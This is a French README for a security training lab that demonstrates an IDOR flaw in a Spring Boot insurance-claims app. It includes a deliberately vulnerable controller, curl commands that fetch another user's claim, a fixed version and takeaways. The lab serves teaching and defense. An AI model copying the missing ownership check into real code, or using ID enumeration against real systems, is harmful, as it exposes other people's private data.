Broken Access Control (IDOR)
Java 17 · Spring Boot · Thymeleaf
Un assuré modifie l'ID dans l'URL pour accéder au dossier sinistre d'un autre assuré. Aucune vérification d'appartenance côté serveur.
Cas n°1 — A01:2025 Broken Access Control (IDOR)
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=01
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=01 -e variant=secure
Référence OWASP
Référence OWASP : A01:2025 - Broken Access Control
Stack : Java 17 · Spring Boot 4 · Spring Security · Thymeleaf · H2 embedded
Lancement : ./mvnw spring-boot:run (depuis vulnerable/ ou secure/)
démos vidéo
| Etape | Démo |
|---|---|
| Application vulnérable, déploiement | 01_vulnerable_01_deploy.mp4 |
| Application vulnérable, exploit | 01_vulnerable_02_demo.mp4 |
| Application sécurisée, déploiement | 01_secure_01_deploy.mp4 |
| Application sécurisée, tentative d'exploit | 01_secure_02_demo.mp4 |
Contexte métier
L'espace assuré de Assuria Assurances permet à chaque assuré de consulter ses dossiers sinistres.
| Méthode | URL | Description |
|---|---|---|
| GET | /sinistres |
Liste des sinistres de l'assuré connecté |
| GET | /sinistres/{id} |
Détail d'un sinistre |
Comptes de test
| Login | Mot de passe | Sinistres |
|---|---|---|
jdupont |
password1 |
#1001 Dégât des eaux · #1002 Bris de glace |
mmartin |
password2 |
#1003 Incendie · #1004 Vol |
La faille expliquée
Authentification ≠ Autorisation
La version vulnérable vérifie que l'utilisateur est connecté, mais ne vérifie pas que le sinistre demandé lui appartient.
Requête : GET /sinistres/1003
Session : jdupont ✓ ← authentification OK
Question manquante : le sinistre #1003 appartient-il à jdupont ? ✗ ← autorisation absente
Le code vulnérable
// VULNERABLE — SinistreController.java
@GetMapping("/sinistres/{id}")
public String detail(@PathVariable Long id, Model model) {
Sinistre sinistre = sinistreRepository.findById(id).orElseThrow();
// FAILLE : on affiche le sinistre sans vérifier
// que sinistre.getLoginAssure() == utilisateur connecté
model.addAttribute("sinistre", sinistre);
return "sinistre-detail";
}
La liste est correctement filtrée par assuré — mais le détail est accessible à n'importe quel utilisateur connecté en tapant directement l'ID dans l'URL.
Exploitation — Scénario pas-à-pas
Lancer la version vulnérable
cd vulnerable/
mvn spring-boot:run
Dans le navigateur
- Ouvrir
https://appsec.cc/login· se connecter avecjdupont / password1 - La liste affiche les sinistres #1001 et #1002 uniquement
- Cliquer sur le sinistre #1001 → URL
/sinistres/1001→ normal - Modifier l'URL en
/sinistres/1003 - Résultat : le dossier sinistre Incendie — 15 000 € — mmartin s'affiche sans erreur ni avertissement
Via curl
# Connexion — récupération du cookie de session
curl -c cookies.txt -d "username=jdupont&password=password1" \
https://appsec.cc/login
# Accès légitime : sinistre de jdupont
curl -b cookies.txt https://appsec.cc/sinistres/1001
# Exploitation IDOR : sinistre de mmartin avec le cookie de jdupont
curl -b cookies.txt https://appsec.cc/sinistres/1003
# → HTTP 200 : données de mmartin exposées
Script automatisé
# Linux/Mac
chmod +x exploit/idor-exploit.sh
./exploit/idor-exploit.sh
Impact
| Données exposées | Risque |
|---|---|
| Type et montant du sinistre (15 000 € Incendie) | Atteinte à la vie privée |
| Statut du dossier (expertise en cours) | Divulgation d'informations contractuelles |
| Données personnelles de l'assuré | Violation RGPD |
Correctif — Version sécurisée
Lancer la version sécurisée
cd secure/
./mvnw spring-boot:run # port 8081
Relancer l'exploitation : GET /sinistres/1003 avec le cookie de jdupont retourne désormais HTTP 403 Forbidden.
Le code corrigé
// SECURISE — SinistreController.java
@GetMapping("/sinistres/{id}")
public String detail(@PathVariable Long id, Model model,
@AuthenticationPrincipal UserDetails currentUser) {
Sinistre sinistre = sinistreRepository.findById(id).orElseThrow();
if (!sinistre.getLoginAssure().equals(currentUser.getUsername())) {
throw new AccessDeniedException("Ce sinistre ne vous appartient pas.");
}
model.addAttribute("sinistre", sinistre);
return "sinistre-detail";
}
Spring Security intercepte l'AccessDeniedException et renvoie automatiquement un HTTP 403.
Alternative — Filtrage au niveau du repository
// SinistreRepository.java
// Spring Data génère : SELECT * FROM sinistres WHERE id = ? AND login_assure = ?
Optional<Sinistre> findByIdAndLoginAssure(Long id, String loginAssure);
// SinistreController.java — le contrôle est délégué à la couche données
@GetMapping("/sinistres/{id}")
public String detail(@PathVariable Long id, Model model,
@AuthenticationPrincipal UserDetails currentUser) {
Sinistre sinistre = sinistreRepository
.findByIdAndLoginAssure(id, currentUser.getUsername())
.orElseThrow(() -> new ResponseStatusException(HttpStatus.FORBIDDEN));
model.addAttribute("sinistre", sinistre);
return "sinistre-detail";
}
Note : cette approche est atomique (une seule requête SQL) et ne distingue pas "ID inexistant" de "ID interdit" — voir discussion 403 vs 404 ci-dessous.
Points clés à retenir
-
Authentification ≠ Autorisation : être connecté ne donne pas accès à toutes les ressources. Chaque accès à un objet doit vérifier que l'utilisateur en est le propriétaire.
-
Filtrer la liste ne protège pas le détail : les deux endpoints sont indépendants. L'un peut être sécurisé et l'autre non.
-
@AuthenticationPrincipalest la façon propre de récupérer l'utilisateur courant dans Spring Security — éviterSecurityContextHolder.getContext().getAuthentication()dans les contrôleurs. -
403 ou 404 ? Retourner un 403 confirme l'existence de la ressource. Retourner un 404 la dissimule (security through obscurity). Il n'y a pas de bonne réponse universelle — le choix dépend du contexte et du modèle de menace.
-
Les IDs auto-incrémentés facilitent l'IDOR : des IDs prévisibles (
1001, 1002, 1003...) rendent l'énumération triviale. Des UUID v4 aléatoires compliquent l'attaque, mais ne remplacent pas le contrôle d'autorisation.
Structure du projet
01-broken-access-control-idor/
├── README.md
├── SPECIFICATIONS.md
├── exploit/
│ └── idor-exploit.sh # curl : connexion + accès à l'ID d'un autre assuré
├── vulnerable/ # Sans contrôle de propriété
│ ├── pom.xml
│ └── src/main/
│ ├── java/cc/appsec/
│ │ ├── BrokenaccessVulnerableApplication.java
│ │ ├── config/SecurityConfig.java
│ │ ├── controller/
│ │ │ ├── HomeController.java
│ │ │ └── SinistreController.java ← FAILLE ICI
│ │ ├── model/ (AppUser, Sinistre)
│ │ ├── repository/ (AppUserRepository, SinistreRepository)
│ │ └── service/AppUserDetailsService.java
│ └── resources/
│ ├── application.properties # port 8080
│ ├── data.sql
│ └── templates/ (login.html, sinistres.html, sinistre-detail.html)
└── secure/ # Avec contrôle de propriété
├── pom.xml
└── src/main/
├── java/cc/appsec/
│ ├── BrokenaccessSecureApplication.java
│ ├── config/SecurityConfig.java
│ ├── controller/
│ │ ├── HomeController.java
│ │ └── SinistreController.java ← CORRECTIF ICI
│ ├── model/ (AppUser, Sinistre)
│ ├── repository/ (AppUserRepository, SinistreRepository)
│ └── service/AppUserDetailsService.java
└── resources/
├── application.properties # port 8081
├── data.sql
└── templates/ (login.html, sinistres.html, sinistre-detail.html)